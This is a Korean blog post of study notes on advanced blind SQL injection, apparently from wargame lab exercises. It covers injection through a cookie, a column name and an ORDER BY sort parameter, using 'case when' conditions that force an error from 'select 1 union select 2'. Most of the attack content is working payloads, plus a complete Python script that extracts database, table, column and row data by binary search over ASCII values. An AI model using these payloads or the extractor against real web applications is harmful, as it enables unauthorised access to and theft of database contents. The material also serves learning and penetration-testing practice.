SQL injection Advenced

황인환·2024년 6월 25일

SQL Injection Advenced 문제들은 SQL Injection 6번 문제와 유사하기 때문에 SQL Injection point만 기술


case when

case when (조건) then (참) else (거짓) end

거짓에는 무조건 에러가 발생하도록함
-> select 1 union select 2
-> 1개만와야하는 자리에 2개를 넣어서 에러를 유발
ex)
order by '여기' 여기 자리에 값 1개가 아닌 값 2개가 들어가서 에러를 유발
|select1 |
|uion select2 | -> order by '여기'

select 1 union select 2 where (조건)

-> 조건이 True(1=1)면 False -> error발생
-> 조건이 False(1=2)면 True
-> where이 거짓이 되면서 union select2 까지 거짓이 되면서 select 1만 남음 -> True


Advenced 1

쿠기에 SQL Injection이 가능한 경우

  • 예상 SQL문
    -> select -- from -- where id = '여기'
    -> 여기 부분에 입력값이 들어갈 것으로 예상됨
    -> 그래서 ' and '1' = '1 로 테스트
True (' and '1' = '1)
False (' and '1' = '2)

Advenced 2

column 이름에 SQL Injection 이 가능한 경우

  • 예상SQL문
    -> SELECT '여기' from '' WHERE '' LIKE '%_%'
    -> 여기부분에 입력 예상
    -> 그래서 뒤에 컬럼 이름이 있어야함 ex)title
    -> 1=1 and ![](https://velog.velcdn.com/images/ytew0435/post/4d739a67-ad97-4a26-9bc2-cc73f08e0b88/image.png) title로 테스트

  • Column부분이 아닌 곳 TEST

True(test X)
False(' and '1' ='1)
False(' and '1' ='2)
  • Column 부분 TEST
True(1=1 and title)
False(1=2 and title)

Advenced 3

  • sort에 가능한 경우
  • SQL문 예상
    -> SELECT title from '' LIKE '%_%' order by '여기'

order by에 Injection 가능한지 TEST

  • True 인 case확인
    -> 아무것도 건들지 않음
True인 경우
  • 필터링 체크
    -> 원래값(title)빼고 다른 값(1)을 넣어봄
    -> White/Black List Filtering 확인
1 삽입(True)
  • False가 가능한지 체크
    -> 무조건 error 발생값 삽입
    -> select 1 union select 2 삽입
select 1 union select 2(False)

case when 삽입

  • 조건이 True(1=1)일때와 False(1=2)일때 삽입
    ->True
    case when (1=1) then 1 else (select 1 union select 2) end
    ->False
    case when (1=2) then 1 else (select 1 union select 2) end
case when (1=1) then 1 else (select 1 union select 2) end
case when (1=2) then 1 else (select 1 union select 2) end
  • 조건자리에 Blind SQL문 삽입
  • case when (여기) then 1 esle (select 1 union select 2) end
    -> 여기 자리에 삽입
    ->ex)
    예시 case when (ascii(substr((select database()),1,1))>0) then 1 else (select 1 union select 2) end
case when (ascii(substr((select database()),1,1))>0) then 1 else (select 1 union select 2) end -> True
case when (ascii(substr((select database()),1,1))>1000000) then 1 else (select 1 union select 2) end -> False
  • Tool쓸때 Error나올때 나타나는 Keyword설정 빼먹지 말기

Advenced 4

무조건 error 값 아니면 안되는 경우

ex) TRUE결과 == False결과

True(' and (1=1) and '1' = '1)
False(' and (1=2) and '1' = '1)

무조건 Error값(select 1 union select 2) 넣었을때 변화

True(' and case when (1=1) then 1 else (select 1 union select 2) end and '1' = '1)
False(' and case when (1=1) then 1 else (select 1 union select 2) end and '1' = '1)

tool에 header 값 안에 Cookie 배열속에 조건을 넣음
ex)

header ={
	'User-Agent' : 'Mozilla/5.0 (Windows~~~~',
	'Cookie' : f"ggg' and case when (ascii(substr((select database() limit 0, 1),1,1))>0) then 1 else (select 1 union select 2) end and '1' = '1" 
}

casewhen 일떄 Tool

import requests

url=""

cho= input("1: Database 2: Table 3: Column 4: Extract ")

if(cho == "1"):
    ice="select database()"
elif(cho == "2"):
    DB=input("DB_Name: ")
    tc="table"
    ice=f"select {tc}_name from information_schema.{tc}s where table_schema = '{DB}'"
elif(cho == "3"):
    DB=input("DB_Name: ")
    tc="column"
    ice=f"select {tc}_name from information_schema.{tc}s where table_schema = '{DB}'"  
elif(cho == "4"):
    Table=input("Table_Name: ")
    Col=input("Column_Name: ")
    ice=f"select {Col} from {Table}"

limit_num = 0
list = []

while True:

    data={
        'option_val' :  'title',
        'board_result' : 'test',
        'board_search' : '%F0%9F%94%8D',
        'date_from' : '',
        'date_to' : '',
        'sort' : f"case when (ascii(substr(({ice} limit {limit_num}, 1),1,1))>0) then 1 else (select 1 union select 2) end"
    }

    header={
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36',
        'Cookie': 'PHPSESSID=do7cufme2l4njvd547quo7lo6k'
    }

    response=requests.post(url,data=data,headers=header)
    
    keyword="존재하지 않습니다."

    if keyword in response.text:
        print("갯수: " + str(limit_num))
        break
    
    
    digit_num=1

    while True:
        data={
            'option_val' :  'title',
            'board_result' : 'test',
            'board_search' : '%F0%9F%94%8D',
            'date_from' : '',
            'date_to' : '',
            'sort' : f"case when (ascii(substr(({ice} limit {limit_num}, 1),{digit_num},1))>0) then 1 else (select 1 union select 2) end"
        }

        header={
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36',
            'Cookie': 'PHPSESSID=do7cufme2l4njvd547quo7lo6k'
        }

        response=requests.post(url,data=data,headers=header)
        
        keyword="존재하지 않습니다."
        
        if keyword in response.text:
            print("자릿수: " + str(digit_num))
            res=''
            for i in list:
                res = res + chr(i)
            print(list)
            print(">"+str(res))
            list=[]
            break
        
        start =32
        end=127

        while start <= end:
            mid=round((start + end)/2)
            data={
                'option_val' :  'title',
                'board_result' : 'test',
                'board_search' : '%F0%9F%94%8D',
                'date_from' : '',
                'date_to' : '',
                'sort' : f"case when (ascii(substr(({ice} limit {limit_num}, 1),{digit_num},1))>{mid}) then 1 else (select 1 union select 2) end"
            }

            header={
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36',
                'Cookie': 'PHPSESSID=do7cufme2l4njvd547quo7lo6k'
            }

            response=requests.post(url,data=data,headers=header)
            
            keyword="존재하지 않습니다."

            if keyword in response.text:
                end = mid - 1
                # print("up")
                g=1
            else:
                start = mid + 1
                # print("Down")
                g=2

        if(g==1):
            list.append(mid)
        else:
            list.append(mid+1)
        digit_num += 1

    limit_num += 1

print("Done")

0개의 댓글